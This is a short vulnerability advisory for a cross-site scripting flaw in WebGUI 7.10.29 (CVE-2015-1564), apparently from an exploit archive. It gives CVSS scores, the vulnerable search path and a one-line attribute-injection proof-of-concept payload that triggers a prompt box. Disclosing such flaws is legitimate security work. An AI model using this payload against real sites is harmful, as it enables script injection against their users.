WebGUI 7.10.29 stable version Cross site scripting vulnerability

2015-01-19 / 2015-02-10

Credit: SECUPENT

Risk: Low

Local: No

Remote: Yes

CVE: CVE-2015-1564

CWE: CWE-79

CVSS Base Score: 4.3/10

Impact Subscore: 2.9/10

Exploitability Subscore: 8.6/10

Exploit range: Remote

Attack complexity: Medium

Authentication: No required

Confidentiality impact: None

Integrity impact: Partial

Availability impact: None

Exploit Title: WebGUI 7.10.29 stable version Cross site scripting vulnerability 
Software Link: http://www.webgui.org/download
Author: SECUPENT 
Website:www.secupent.com
Email: research{at}secupent{dot}com
Date: 17-1-2015
Version: 7.10.29. Previous version maybe vulnerable also. 


Vulnerable area: http://localhost/style-underground/search

XSS PoC: 1" onmouseover=prompt(907460) bad="

Screenshot: 
Link: http://secupent.com/exploit/images/webgui-xss.png
Mirror: http://vulnerability.io/exploit/images/webgui-xss.png

Reference: http://secupent.com/exploit/WebGUI-7.10.29-XSS.txt


Special Thanks: vulnerability.io, pentester.io, osvdb.org, exploit-db.com, 1337day.com, cxsecurity.com, packetstormsecurity.com and all other exploit archives, hackers and security researchers.  

References:

http://www.secupent.com/

http://secupent.com/exploit/WebGUI-7.10.29-XSS.txt

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

WebGUI 7.10.29 stable version Cross site scripting vulnerability

References:

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.